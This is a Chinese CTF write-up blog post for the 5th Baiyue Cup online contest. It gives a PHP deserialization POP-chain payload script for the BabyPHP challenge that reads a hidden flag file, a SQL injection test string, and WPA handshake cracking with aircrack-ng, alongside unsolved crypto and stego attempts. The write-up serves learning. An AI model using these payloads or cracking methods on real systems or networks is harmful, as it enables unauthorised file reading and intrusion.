第五届百越杯线上赛部分WP

11 篇文章 0 订阅
4 篇文章 0 订阅

Web

BabyPHP

一访问容器就给了PHP代码

<?php
error_reporting(1);
class Read {
    private $var;
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
    
    public function __invoke(){
        $content = $this->file_get($this->var);
        echo $content;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file='index.php')
    {
        $this->source = $file;
        echo $this->source.'解析开始'."<br>";
    }
   
    public function __toString()
    {
        $this->str['str']->source;
    }

    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }

    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}

class Test
{
    public $params;
    public function __construct()
    {
        $this->params = array();
    }

    public function __get($key)
    {
        $func = $this->params;
        return $func();
    }  
}

if(isset($_GET['chal']))
{
    $chal = unserialize($_GET['chal']);
}
else
{
    $show = new Show('index.php');
    $show->_show();
}
?>

很明显是反序列化利用, 但是对这块不熟悉, 所以一开始给每个类都单独构造Payload, 但是都不能用,
后面根据题目百度了下, 找到一个参加其他比赛的师傅写的WP, 同时也发现是原题…
在写之前又搜了一下, 发现2018SWPU也有一题类似的题目,
最终构造Payload的脚本如下:

<?php
class Read {
    private $var = 'fllllllaaaaaag.php';
}

class Show
{
    public $source;
    public $str;
}

class Test
{
    public $params;
}

$c = new Read();
$b = new Test();
$b->params = $c;
$d = new Show();
$d->str = array('str' => $b);
$a = new Show();
$a->source = $d;

echo urlencode(serialize($a));

踩了好几次坑, 一开始用这个脚本构造的Payload还不能用, 后面在本地调试, 发现是文件不存在导致的.

大致归纳下, 这题主要是利用了PHP类的魔术方法, 一开始构造的几个Payload之所以不能用, 就是因为没触发到.

  • __invoke: 当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
  • __toString: 对象被当做文本使用前调用.
  • __get: 读取不可访问属性的值时,__get() 会被调用。
  • __wakeup: 反序列化生成对象时调用.
  • __sleep: 与__wakeup相反, 执行序列化操作前调用.

BabyGame

这题试了很多技巧都不行, 加上自己对SQL注入不是特别会, 就更解不出了(至少看隔壁学校的大佬也没解出)
babygame
试着登录admin, 登录失败, 但是不告诉具体原因,
注册admin, 提示用户已存在, 试着用admin' or '1'='1绕过,
但是没提示用户存在, 注册成功, 然后到登录后的页面,
regester success
看上去是对'进行了转义, 测试了"同样也被转义.

弄到这暂时没什么思路, 也没有敏感文件泄漏,
额不对, 还有一个tools.php,
tools.php
但无论怎么测试都提示no result, 也没有sql注入的样子, 只好弃坑=-=.

转回去去注册一个正常账户, 发现登录后出现了一个flag链接, 点进去显示了flag, 但是并不正确,
normal account
拿去解密后发现是对自己的账户信息做了md5操作.
false flag
同时发现出现了个msgid, 但是并没有什么注入点.

根据flag出现的情况, 推测是在欢迎页做了未过滤的sql查询, 成功时才输出指向链接,
但是想想总有点不对, 如果是这样, 那输出的用户名不应该有转义才对.

最后平台放了两次提示, 然而并没有什么卵用, 第一个上午刚做就猜到了, 第二个看不懂意思.jpg
hint
所以, “等一个官方WP or 复现”.jpg


PWN两题都不会做, 只有隔壁大佬做出来第一题,


Crypto

Math

这一题考的是RSA, 同样没做出来

from libnum import *
from Crypto.Util.number import *
from gmpy2 import next_prime
from flag import flag

flag = s2n(flag)
a = getRandomRange(pow(10, 499), pow(10, 500))
b = getRandomRange(pow(10, 499), pow(10, 500))
p = a * pow(10, 500) + b
q = b * pow(10, 500) + a
print p * q
e = 65537
c = getRandomInteger(100)
p = next_prime(p + c)
q = next_prime(q + c)
n = p * q
print n
flag = pow(flag, e, n)
print flag

给的输出

37290153165969298170747767487987767106604956327590459309623310884436645867385405226836923826439760402232182199047042298740970941114757402758035338227352981884345194304183079410512904720516197002459598643659802383718137698974557870280366585586392385470235597777672593360788744398375690898546971801388821194234775373952698134335885991694714949974679482564600815766377388895037809222168800554222619940240853717965637149897765149770956991503459995786889995461520332980787566967767243445754450380553166156028030513979079301998632175402072502016282327825403961392784400687386536170117841528456263456021394359662685873080287765689757030352392386374307257266677811647633925457228036341541693812765785784057781251815707260401922647083928541835257244409503393940374048782722357915189148582407507806733352268172024029303953342827905707727300151171157623562387977156106983516547443642151573456682745626175061369310982040554116369983687552560719792717887667637107087090897681039368534492698712183905213300675019880169669159964289135274268951386122314246699412166656323475268623240778461031327966634628420986855022944785421496251349486099392411145566566437986155875600117002222032846697544656901210849382567936904958595228620017066673190455548617917273881089052468844830306632804733848750820391807100094948772492402636422551350516389981409116121666282434777976293668265700614707939438561465158100805697922866599682141928964956895065357677209698826476508887966210560085802544989199042295263908880764987497015388183619829914488242002252489035055312547747792033076017959711401664024465093007341377103124755426567781873434171576297409356302054965976819782564966567852321032108507478998871390301458143582617644492262165902951270805160376459476885522275531457938661136508391452032625051782015102833218959697470722331233350397631435041061401412630047713991858871735035714326218833998760244965866341087147750123869855038366992182962371334384526411144813368418246803652025254206189223834187719880012103660703380187226220860
37290153165969298170747767487987767106604956327590459309623310884436645867385405226836923826439760402232182199047042298740970941114757402758035338227352981884345194304183079410512904720516197002459598643659802383718137698974557870280366585586392385470235597777672593360788744398375690898546971801388821194234775373952698134335885991694714949974679482564600815766377388895037809222168800554222619940240853717965637149897765149770956991503459995786889995461520332980787566967767243445754450380553166156028030513979079301998632175402072502016282327825403961392784400687386536170117841528456263456021394359662685873080287765689757030352392386374307257266677811647633925457228036341541693812765785784057781251815707260401922647083928541835257244409503393940374048782722357915189148582407507806733352268172024029303953342827905707727300151171157623562387977156106983516547443642151573456682745626175061369310982040554116369983687552560719792717887667637107087090897681039368537631451824008445150593322916621649220131918968381060182780056625981084043051299820111816407714077085179863978735943069017108793879580065214612325438873475463670028900700692331942940752758392673078381358679392924527642317471983718497708036815480999969876652686414859011578133113730930542513696962965675847727315009182439824295556392013537952480748938928408290671107333656277905126915134701713932190005567660746756601077906025437341247344713253422720837604831207936303137369977025954243957891577406266667226864293421045998499026349073973676803568161225217742238807019077558158505566968246373749202724739826733649675118977232613022754175080279658222551375134841038576853604493545070340911086664690452703289923302725433846272032435289554345937247024060157309603467510583043117535674355137280615256893616267247008324272285381171004240649782585733382066689782757882726882857063752626302302445421988032917071576855484653938018800413715950664940531918933498765096986757431159488734247146715664409455285656746712809269599736842704425915921
37184996108096167233025618263505757153157343097156888579791591678112798126919291822117280574121886798076450090988956975942694991748710209332101082905159257360206646364269758967180975253962825625943696420172327932961625085719678913462057142665457670366149034781204452807008455874986258694889544297820868505385801547530471600056912582928858038944066247597538813265625994454536879142936629149425871030836276097612443965190900147217177268273320302968487288289500066066413057425060274495415705347775452378126322700828792271046010263910271491830733016822853700053524052302275780619672110356657862368196424416287062999248715568046365255257809392739368556770263662626707604374137827085932252100188620626033333675559976574305831148764403296339508944436482748296238651395448197460974036742794395872850277918173344274773788864080695651830624419146757315446431269176300228703998177892985982388577831521216077129479998846266657008240203501406588349129137285647942569321607846013589344817050392650458477423460119297842938591617558953789224928692831245011187614395138305116091095517452781922364575105441246935183151829079785593965595659385764661764536534314109799011221376335166825363745468702289956019189691732841787948543771767552418889945812912952844388135828118570454948482278617042826378637743128777368607901501702388930246381982139634661483616105908175895785968677045741141086145187314146524800384426347813569795767829229399693985449649456073846347751123890326703399205472967773736717062282465272801543616851680865089979007872017576434756441977097817456958807489726277542047228572876003573562220328683701400744899648300227399574965938796721337143228465728576794734241148236493866791812420360737798058399689694043617192496134725512211166304050577572889549976404923415229865890151512800020112421854251196729060158218415862519607464231622361159436715876677889457900668694738243191441657050304632774189736769141333132873006921328644347784442609254582911864794147017850676177776316795316841373510481580805823659839

给了n, e, 没有d, 坑在于n给的超大, 刚会解一点基础题几天, 不会做.
fact那边的分解状态是C, yafu也分不出来,

转回去看flag, 发现是pow(flag, e, n), 即flag ^ e % n, 而flags2n(真正的flag),
于是想着看看能不能把flag ^ e求出来, 于是写了个跑几小时还没出来的脚本:

from libnum import *

flag = 37184996108096167233025618263505757153157343097156888579791591678112798126919291822117280574121886798076450090988956975942694991748710209332101082905159257360206646364269758967180975253962825625943696420172327932961625085719678913462057142665457670366149034781204452807008455874986258694889544297820868505385801547530471600056912582928858038944066247597538813265625994454536879142936629149425871030836276097612443965190900147217177268273320302968487288289500066066413057425060274495415705347775452378126322700828792271046010263910271491830733016822853700053524052302275780619672110356657862368196424416287062999248715568046365255257809392739368556770263662626707604374137827085932252100188620626033333675559976574305831148764403296339508944436482748296238651395448197460974036742794395872850277918173344274773788864080695651830624419146757315446431269176300228703998177892985982388577831521216077129479998846266657008240203501406588349129137285647942569321607846013589344817050392650458477423460119297842938591617558953789224928692831245011187614395138305116091095517452781922364575105441246935183151829079785593965595659385764661764536534314109799011221376335166825363745468702289956019189691732841787948543771767552418889945812912952844388135828118570454948482278617042826378637743128777368607901501702388930246381982139634661483616105908175895785968677045741141086145187314146524800384426347813569795767829229399693985449649456073846347751123890326703399205472967773736717062282465272801543616851680865089979007872017576434756441977097817456958807489726277542047228572876003573562220328683701400744899648300227399574965938796721337143228465728576794734241148236493866791812420360737798058399689694043617192496134725512211166304050577572889549976404923415229865890151512800020112421854251196729060158218415862519607464231622361159436715876677889457900668694738243191441657050304632774189736769141333132873006921328644347784442609254582911864794147017850676177776316795316841373510481580805823659839
e = 65537
n = 37290153165969298170747767487987767106604956327590459309623310884436645867385405226836923826439760402232182199047042298740970941114757402758035338227352981884345194304183079410512904720516197002459598643659802383718137698974557870280366585586392385470235597777672593360788744398375690898546971801388821194234775373952698134335885991694714949974679482564600815766377388895037809222168800554222619940240853717965637149897765149770956991503459995786889995461520332980787566967767243445754450380553166156028030513979079301998632175402072502016282327825403961392784400687386536170117841528456263456021394359662685873080287765689757030352392386374307257266677811647633925457228036341541693812765785784057781251815707260401922647083928541835257244409503393940374048782722357915189148582407507806733352268172024029303953342827905707727300151171157623562387977156106983516547443642151573456682745626175061369310982040554116369983687552560719792717887667637107087090897681039368537631451824008445150593322916621649220131918968381060182780056625981084043051299820111816407714077085179863978735943069017108793879580065214612325438873475463670028900700692331942940752758392673078381358679392924527642317471983718497708036815480999969876652686414859011578133113730930542513696962965675847727315009182439824295556392013537952480748938928408290671107333656277905126915134701713932190005567660746756601077906025437341247344713253422720837604831207936303137369977025954243957891577406266667226864293421045998499026349073973676803568161225217742238807019077558158505566968246373749202724739826733649675118977232613022754175080279658222551375134841038576853604493545070340911086664690452703289923302725433846272032435289554345937247024060157309603467510583043117535674355137280615256893616267247008324272285381171004240649782585733382066689782757882726882857063752626302302445421988032917071576855484653938018800413715950664940531918933498765096986757431159488734247146715664409455285656746712809269599736842704425915921

while True:
    try:
        print(n2s(flag))
        break
    except:
        flag += n

可能是做久了脑子有点胀, 最后到快结束的时候, 才想起来反推回去是不可能解得, 公钥加密, 解密要靠d(抱头痛哭)

第一行还有个p * q的输出, 把它拿去大数分解, 只能得到其中一个,
大数分解半失败
但是现在想想, 拿去大数分解根本就不对啊, 这两个又不是素数(mdzzz)

好在这题有大佬解出来了, 明天去问一问(希望会给把)Orz_


被第一题还有其他类的题目折腾死, 有点没兴趣解第二题, 而且感觉大概率也解不出来emm


Misc

key

key
这题文件不大, 所以应该没有带压缩包,
直接查看文件内容, 发现在末尾有明文Key: ISEEU!
用Stegsolve做了几波操作都没什么发现,
最后搜了下前面的明文, 发现另一个比赛的wp

说flag数据其实是钥匙上所有颜色的十六进制值, 然后再和key做异或.
但是还是自己做一遍(其实是感觉题目可能会有点变化), 然后发现没有PS, 于是让队友帮忙搞一下了,
最后发现颜色数据还是一样的, 也就是说不用做什么操作, 直接把别人的flag复制粘贴就行…

哈尔的移动城堡

这题真的好坑, 最后还是通过丢人的py完成了…
给了两个文件,
hr
102%的文件头是反过来的PNG, 修改后即可显示成图片,
102%
显示是这样的
102.png
但是应该没有这么简单, 拿去binwalk跑了下, 发现还有压缩包
png.zip
直接用压缩软件打开zip显示了两个文件,
zip
不过用binwalk分离出来是空的, 用foremost分离出一个png和zip,
但是png图片大小不一样, 而zip无法打开, 不清楚是不是需要修复.
000.png01219.zip
后面用010, 通过zip文件头把zip和png分离, png正常, 但是大小不正常, zip打开后只有一个文件,
010zip
感觉可以用明文攻击来一发, 但是(吐血)
不是zip文件
先这样吧, 赶(要交上去的)wp要紧,
(补) 最后问大佬也不理我, 队友倒是整出那个二维码, 不过压缩包分离不清楚, 有机会再研究吧.

签到

题目描述: cGxlYXNlIHN1Ym1pdDogZmxhZ3toZWxsb19ieWJ9
猜过去是base64, 解了后马上提交, 可惜题出来慢了, 没有一血

WireLess

给了两个文件:
:Wireless
README: 已知密码格式是6666xxxx
WiFi.pcap打开是一堆认证包, 没有头绪, 放kali用aircrack-ng跑,
aircrack-ng
看到最后面有个flag{05password-f059-448f}, 根据readme的描述, 猜测password要替换成6666xxxx.

然后就需要对密码进行爆破, 但是因为没有字典, 偷懒, 就又去搜了, 然后果不其然, 又是一个wp
不过写wp的时候还是要复现下,
爆破密码
所以flag是flag{0566668912-f059-448f}


逆向的话, 有五题, 全不会, 其中三题靠搜索, 诶=-=

放下参考链接:


最后等到一两个隔壁大佬给的wp, 不过没精力复现了, 头大

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 8
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值